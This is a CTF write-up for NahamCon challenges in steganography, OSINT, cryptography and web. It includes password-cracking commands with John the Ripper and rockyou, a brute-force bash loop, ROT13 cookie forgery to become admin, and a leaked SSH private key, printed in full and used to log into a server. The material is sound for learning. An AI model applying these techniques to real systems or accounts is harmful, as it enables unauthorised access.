This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:

## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:

well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:

notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:

We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:

**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:

There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:

**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:

By the description we know that we need to login as admin, but if we try using admin as our username we get the following:

But we can login with any other username:

If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:

we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:

now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:

**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:

This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:

**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:

this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:

**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:

The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:

and by saving the modified file and viewing it again we get the flag:

**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:

we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:

link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:

**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:

**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:

**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:

there are 2 repositories for the user:

the second one is not very helpful:

but the first one has some interesting files:

the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?

yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:

***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
We can infer by the challenge name and the challenge description that we need to use Jsteg (link in the resources), this is a type of tool for hiding data in the least significant bit (LSB) of the bytes in the image, this image is actually an image of the creator of the tool (whose name is luke), I only succeeded in using the tool by running the main.go script that's in jsteg/cmd/jsteg using the following command:

**Resources:*** Jsteg: https://github.com/lukechampine/jsteg
## DohDoh! Stupid steganography...
**Note, this flag is not in the usual format.**
Download the file below.
[doh.jpg](assets//images//doh.jpg)
**JCTF{an_annoyed_grunt}**
**Solution:** With the challenge we get the following JPEG image:
because this is a stego challenge one of the first thing I do is to check if there are files embedded in the image using binwalk and steghide, luckily steghide comes to use and finds a text file in the image which actually contains the flag:

**Resources:*** Steghide: http://steghide.sourceforge.net/* binwalk man page: https://manpages.debian.org/stretch/binwalk/binwalk.1.en.html
## Beep BoopThat must be a really long phone number... right?
Download the file below.
[flag.wav](assets//files//flag.wav)
**flag{do_you_speak_the_beep_boop}**
**Solution:** Now we are given for a change a WAV file (Wave audio file), in it we can hear key presses of a phone, this is actually DTMF (dual tone multi frequency) which were used to signal to the phone company that a specific key was pressed and they have quite a lot of history with respect to hacking, we can actually decipher this tones using a tool called multimon-ng or using the web tool listed below, this will give us the following code:
```46327402297754110981468069185383422945309689772058551073955248013949155635325
```we can execute the following command to extract the number:
`multimon-ng -t wav -a DTMF flag.wav | grep -o "[0-9]+" | tr -d "\n"`
I tried a lot of ways to get the flag from this number and eventually figured out that you need to convert the numbers from decimal format to hex and then from hex to ascii, or alternatively use long_to_bytes from the pycryptodome module, by doing so we get the flag:

**Resources:*** DTMF: https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling* multimon-ng: https://tools.kali.org/wireless-attacks/multimon-ng* Web DTMF decoder: http://dialabc.com/sound/detect/index.html* long_to_bytes: https://pycryptodome.readthedocs.io/en/latest/src/util/util.html#Crypto.Util.number.long_to_bytes
## SnowflakeFrosty the Snowman is just made up of a lot of snowflakes. Which is the right one?
Note, this flag is not in the usual format.
Download the file below.\[frostythesnowman.txt](assets//files//frostythesnowman.txt)
**JCTF{gemmy_spinning_snowflake}**
**Solution:** We are given a text file with the challenge, if we look at the file we can't see anything weird:```Frosty the snowman was a jolly happy soulWith a corncob pipe and a button noseAnd two eyes made out of coalFrosty the snowman is a fairy tale, they sayHe was made of snow but the children knowHow he came to life one dayThere must have been some magic inThat old silk hat they foundFor when they placed it on his headHe began to dance aroundOh, Frosty the snowman
```
but if we open the file in Notepad++ and turn on the option the show special symbols we can now see that something is off with the file:

these are tabs and spaces, and this type of steganography is actually SNOW (Steganographic Nature Of Whitespace), it is a type of whitespace steganography which uses Huffman encoding to compress a message and hide it in the whitespaces, we can use stegsnow tools to reveal the message but it seems that it doesn't work:

After a bit of trial and error I discovered that it is password protected, so I wrote a simple bash script which reads the passwords from rockyou.txt line by line and try to decrypt the data, this is a dictionary attack, and a simple one at that (I explained more about this type of attacks in the writeup for Easy Keesy):
```bashfile=rockyou.txtwhile read -r linedo printf "\n$line " stegsnow -C -Q -p "$line" frostythesnowman.txtdone < $file```
by using this simple bruteforce script we get that the password is ilovejohn (don't we all) and we get the flag (I redirected the script output to a file and then grepped for braces pattern):

**Resources:*** SNOW: http://www.darkside.com.au/snow/* stegsnow man page: http://manpages.ubuntu.com/manpages/bionic/man1/stegsnow.1.html
## My ApologiesNothing witty to say here... just that I am sorry.
Note, this flag is not in the usual format.
Download the file below.\[apologies.txt](assets//files//apologies.txt)
**flag_i_am_so_sorry_steg_sucks**
**Solution:** We again get a txt file with the challenge, now we can easily notice that something off with the message:
```Turns out the steganographⅰc technique we were
using dⅰdn't really make
much sense... but we kept it anyway. Oh well!```This is actually an Homoglyphs Steganography, a type of steganography which uses unicode encoding to hide a message, we can use the link in the resources to reveal the flag:

**Resources:** * Twitter Secret Messages: http://holloway.co.nz/steg/
## Dead SwapThere is a flag in my swap!
Download the file below.\[deadswap](assets//files//deadswap)
**Post CTF Writeup**
**flag{what_are_you_doing_in_my_swap}**
**Solution:** With the challenge we are given a file from an unknown type, with can infer from the challenge title and description that this is a swap file, without getting into details, swap files are files saved in the hard drives to be used as an extension to the memory, when a computer needs to save some data on the memory for quick access and doesnt have a place for it the computer moves a chunk of the data stored on the memory to the hard drive (usually the least used chunk) and overwrites this chunk in the memory with the data, this is actually really not important for this challenge, by using xxd on the file it seems that we only have \xff bytes:

but by grepping for everything but \xff bytes we can see thet there are \xfe bytes too:

during the CTF I tried using binary by mapping 1 and 0 to f and e but the solution is actually to map 1 and 0 to fe and ff, this will give us a binary string, encoding the string to ascii we get the flag in reverse, so I wrote a one-liner to do all that (and it's amazing):
`xxd deadswap | grep -v "ffff ffff ffff ffff ffff ffff ffff ffff" | cut -d " " -f 2-10 | sed "s/ff/0/g" | sed "s/fe/1/g" | tr -d " \n" | python3 -c "import binascii; print(binascii.unhexlify('%x' % int(input(),2)));" | rev`
the one-liner prints the hexdump of the file, greps for lines which contains interesting data, cut only the columns with the hex data, replaces ff and fe with 0 and 1 (using sed), removes new-lines, convert the data from binary to ascii using python and reverses the string, and in action:

**Resources:*** Swap file: https://www.computerhope.com/jargon/s/swapfile.htm
## WalkmanDo you hear the flag? Maybe if you walk through it one step at a time.
Download the file below.\[wazaa.wav](assets//files//wazaa.wav)
**Post CTF Writeup**
**flag{do_that_bit_again}**
**Solution:** We are given a WAV audio file with the challenge, I personally hate steganography that is related to audio, if it is not spectogram and wavsteg can't find something I just quit...but I'm a completionist, so I'll cover that as well, we need to use a tool called wav-steg-py which is listed in the resources using this command to extract the flag:
`python3 wav-steg.py -r -s wazaaa.wav -o a -n 1 -b 1000`
in action:

this tool uses the least significant bit to hide data and extract hidden data (which wavsteg also do so i'm not sure why it didn't work with it), it's quite common to hide data in the LSB of the file so this type of tools are really handy.
**Resources:*** wav-steg-py: https://github.com/pavanchhatpar/wav-steg-py
## Old SchoolDid Dade Murphy do this?
Note, this flag is not in the usual format
Download the file below.\[hackers.bmp](assets//images//hackers.bmp)
**Post CTF Writeup**
**JCTF{at_least_the_movie_is_older_than_this_software}**
**Solution:** With the challenge we are given a bitmap (bmp) file:

bmp format is a quite old file format and rarely used today as its compression algorithm is really not good and rarely supported so it's not very efficient in space to save images as bmp files, especially if you consider the image quality nowadays, the flag is again hidden in the least significant bits of the image and again I tried checking that during the CTF and got nothing, a smarter approach is to use zsteg, which checks all the available channels and even checks the most significant bit for hidden data, we can get the flag using the following command:
`zsteg -a hackers.bmp`
and in action:

***# Cryptography
## DocxorMy friend gave me a copy of his homework the other day... I think he encrypted it or something?? My computer won't open it, but he said the password is only four characters long...
Download the file below.\[homework](assets//files//homework)
**flag{xor_is_not_for_security}**
**Solution:** We get an unknown file with the challenge, obviously from the challenge description and challenge name we know that the file is xored and that the key is of length 4, if we look at the hex dump of the file we can notice this reoccurring pattern of bytes `\x5a\x41\x99\xbb` :

furthermore if we analyze the frequency of the bytes in the file we get the following graph where the peaks are in \x5a, \x41, \x99 and \xbb:

but if we look at a regular PNG file or Zip file we get the following bytes frequency:

we can notice that regularly the \x00 byte is the most frequent, so if the key is xorred with the data all of the \x00 bytes will be mapped to the bytes of the key.
so we can infer that key is `\x5a\x41\x99\xbb`, plugging the file into cyberchef in xorring the data with the key gives us the following zip file:
[xorred_homework](assets//files//xorred_homework)
this is actually not a zip file but a docx file by the folders in it (there are a lot of file types which are actually zip) if we open the file using Microsoft word or Libreoffice we get the flag:

**Resources:*** Xor: https://en.wikipedia.org/wiki/Exclusive_or* Frequency analysis: https://en.wikipedia.org/wiki/Frequency_analysis* An example to some of the file types which are actually zip: https://www.quora.com/Which-file-types-are-really-ZIP-or-other-compressed-packages
## HomecookedI cannot get this to decrypt!
Download the file below.\[decrypt.py](assets//files//decrypt.py)
**flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}**
**Solution:** Now we get with the challenge a python script:
```python 3import base64num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def a(num): if (num > 1): for i in range(2,num): if (num % i) == 0: return False break return True else: return False
def b(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (a(num)): if (b(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```
this script is used for decrypting the cipher but it doesn't seem to work well:

it somewhat stops printing at this point but still runs, we can guess by that the code is inefficient, we can try to understand what the script does to figure out how to make it more efficient, we can see that the script decode the ciphertext from base64 to bytes, then for each byte in the ciphertext it tries to find a value of next value for num such that both functions a and b returns a boolean value of True, then xors that value with the value of the byte and prints the result, it continues likes that for the succeeding bytes while continuously increasing the value of num by one, but, by the 13th byte the value of num is jumped to 50000 and by the 26th byte the value of num is jumped to 500000.
Now let's look at the functions, a checks if there are no numbers bigger than 2 and smaller than the input that can divide it without a remainder, so a checks if the input is prime.The function b checks if the input is equal to itself in reverse so b checks if the input is a palindrome.a return True if the number is prime and b checks if the number is a palindrome, so the values that are xorred with the bytes of the cipher are palindromic primes
if we take a second look at the function a we can see that it is very inefficient as it checks for all the numbers that are smaller than the input if they can divide it without a remainder, we can replace it with the primality test in the sympy module, which uses an efficient method (Rabin-Miller Strong Pseudoprime Test), in the end we get the less obfuscated following script:
```python 3import base64import sympy
num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def prime(num): return sympy.isprime(num)
def palindrome(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (prime(num)): if (palindrome(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```and by running this more efficient script we get the flag in a reasonable time:

## TwinningThese numbers wore the same shirt! LOL, #TWINNING!
Connect with:\`nc jh2i.com 50013`
**flag{thats_the_twinning_pin_to_win}**
**Solution:** When we connect to server given we the challenge we are greeted with the following:

we can guess that this is an RSA encryption, I explained more about how RSA works in my writeup for RACTF 2020:
> ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n...
and I explained why it works and how we can break the cipher:
>...for that we need to talk about factors, factors are numbers which can be divided only by 1 and himself (we are only talking about whole numbers), we have discovered that there are infinitely many factors and that we can represent any number as the multiplication of factors, but, we haven't discovered an efficient way to find out which factors make up a number, and some will even argue that there isn't an efficient way to do that (P vs. NP and all that), which means that if we take a big number, it will take days, months and even years to find out the factors which makes it, but, we have discovered efficient ways to find factors, so if I find 2 factors, which are favorably big, I multiply them and post the result on my feed to the public, it will take a lot of time for people to discover the factors that make up my number. But, and a big but, if they have a database of numbers and the factors that make them up they can easily find the factors for each numbers I will post, and as I explained before, if we can the factors we can easily calculate phi and consequently calculate d, the private key of RSA, and break the cipher, right now there are databases (listed below) with have the factors to all the numbers up to 60 digits (if I remember correctly), which is a lot but not enough to break modern RSA encryptions, but if we look at the challenge's parameters, we can see that n is awfully small, small enough that it most be in some databases...
if we search for the value of n in factorDB, a database for the factors of numbers, we can find factors for the value of n given to us:

now we can write a small script which calculates phi, finds d the modular inverse for e modulo phi and raise the ciphertext to the power of d (or be a script kiddie and use the RSA module):
```python 3from Crypto.Util.number import inverse
p = 1222229q = 1222231e = 65537ct = 348041806368n = 1493846172899
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(plain)
```and by running this script we get that the PIN is 3274 and by giving the PIN to the server we get the flag:

I guess that the challenge name and description is joking about the proximity of the primes...
## Ooo-la-laUwu, wow! Those numbers are fine!
Download the file below.\[prompt.txt](assets//files//ooolala.txt)
**flag{ooo_la_la_those_are_sexy_primes}**
**Solution:** With the challenge we are given a text file, the text file contains the following:
```N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091e = 65537c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983```
So this is another RSA challenge, we can again try to find the factors that make up the value of N, we can use factorDB again:

